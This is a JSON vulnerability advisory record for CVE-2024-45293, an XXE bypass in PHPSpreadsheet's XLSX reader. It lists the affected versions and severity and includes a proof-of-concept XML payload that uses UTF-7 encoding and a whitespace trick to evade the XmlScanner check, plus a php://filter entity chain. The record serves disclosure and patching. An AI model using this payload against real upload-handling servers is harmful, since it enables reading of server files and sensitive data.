{"id":"GHSA-6hwr-6v2f-3m88","summary":"XXE in PHPSpreadsheet's XLSX reader","details":"### Summary\nThe security scanner responsible for preventing XXE attacks in the XLSX reader can be bypassed by slightly modifying the XML structure, utilizing white-spaces. On servers that allow users to upload their own Excel (XLSX) sheets, Server files and sensitive information can be disclosed by providing a crafted sheet. \n\n### Details\nThe security scan function in `src/PhpSpreadsheet/Reader/Security/XmlScanner.php` contains a flawed XML encoding check to retrieve the input file's XML encoding in the `toUtf8` function. \n\nThe function searches for the XML encoding through a defined regex which looks for `encoding=\"*\"` and/or `encoding='*'`, if not found, it defaults to the UTF-8 encoding which bypasses the conversion logic. \n\n ```\n$patterns = [\n            '/encoding=\"([^\"]*]?)\"/',\n            \"/encoding='([^']*?)'/\",\n];\n```\n\nThis logic can be used to pass a UTF-7 encoded XXE payload, by utilizing a whitespace before or after the `=` in the attribute definition. \n\n### PoC\n\nNeeded:\n- An Excel sheet (XLSX) with at least one cell containing a value.\n\nUnzip the excel sheet, and modify the `xl/SharedStrings.xml` file with the following value (note the space after `encoding=`):\n\n```\n\u003c?xml version=\"1.0\" encoding= 'UTF-7' standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE abc [ ... ]\u003e\n```\n\n#### Step-by-step\n\n1. First off, the following string is encoded in base64:\n\n```\n\u003c!ENTITY internal 'abc'  \u003e\" \n```\n\nResulting in:\n\n```\nPCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K\n```\n\n2. The string is used with a parameter entity and the PHP filter wrapper to ultimately define custom entities and call them within the XML.\n\n```\n\u003c?xml version=\"1.0\" encoding= 'UTF-7' standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE foo [ \u003c!ENTITY % xxe SYSTEM \"php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K\" \u003e %xxe;]\u003e\n\u003csst xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" count=\"1\" uniqueCount=\"1\"\u003e\u003csi\u003e\u003ct\u003e&internal;\u003c/t\u003e\u003c/si\u003e\u003c/sst\u003e\n```\n\nWhen this file is parsed by the library, the value `abc` should be in the original filled cell.\n\nWith the help of the PHP filter wrapper, this can be escalated to information disclosure/file read. \n\n### Impact\nSensitive information disclosure through the XXE on sites that allow users to upload their own excel spreadsheets, and parse them using PHPSpreadsheet's Excel parser.","aliases":["CVE-2024-45293"],"modified":"2025-03-06T18:36:55.798253Z","published":"2024-10-07T15:58:52Z","database_specific":{"github_reviewed_at":"2024-10-07T15:58:52Z","nvd_published_at":"2024-10-07T20:15:06Z","cwe_ids":["CWE-611"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hwr-6v2f-3m88"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45293"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/3bcd51826b7f089d1641e756c83030c30c3bdb0c"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/7d6cb09f6e8204f65e6dd5a0490f7f45f44bb331"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/949ff63e1f6413e6485f73af012d506aa81384bf"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"affected":[{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.3.0"}]}],"versions":["2.2.0","2.2.1","2.2.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-6hwr-6v2f-3m88/GHSA-6hwr-6v2f-3m88.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.29.1"}]}],"versions":["1.0.0","1.0.0-beta","1.0.0-beta2","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.17.1","1.18.0","1.19.0","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.25.0","1.25.1","1.25.2","1.26.0","1.27.0","1.27.1","1.28.0","1.29.0","1.3.0","1.3.1","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-6hwr-6v2f-3m88/GHSA-6hwr-6v2f-3m88.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.1.1"}]}],"versions":["2.0.0","2.1.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-6hwr-6v2f-3m88/GHSA-6hwr-6v2f-3m88.json"}},{"package":{"name":"phpoffice/phpexcel","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpexcel"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.8.2"}]}],"versions":["1.7.9","1.7.9-rc1","1.8.0","1.8.0rc1","1.8.0rc2","1.8.0rc3","1.8.0rc4","1.8.1","1.8.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-6hwr-6v2f-3m88/GHSA-6hwr-6v2f-3m88.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}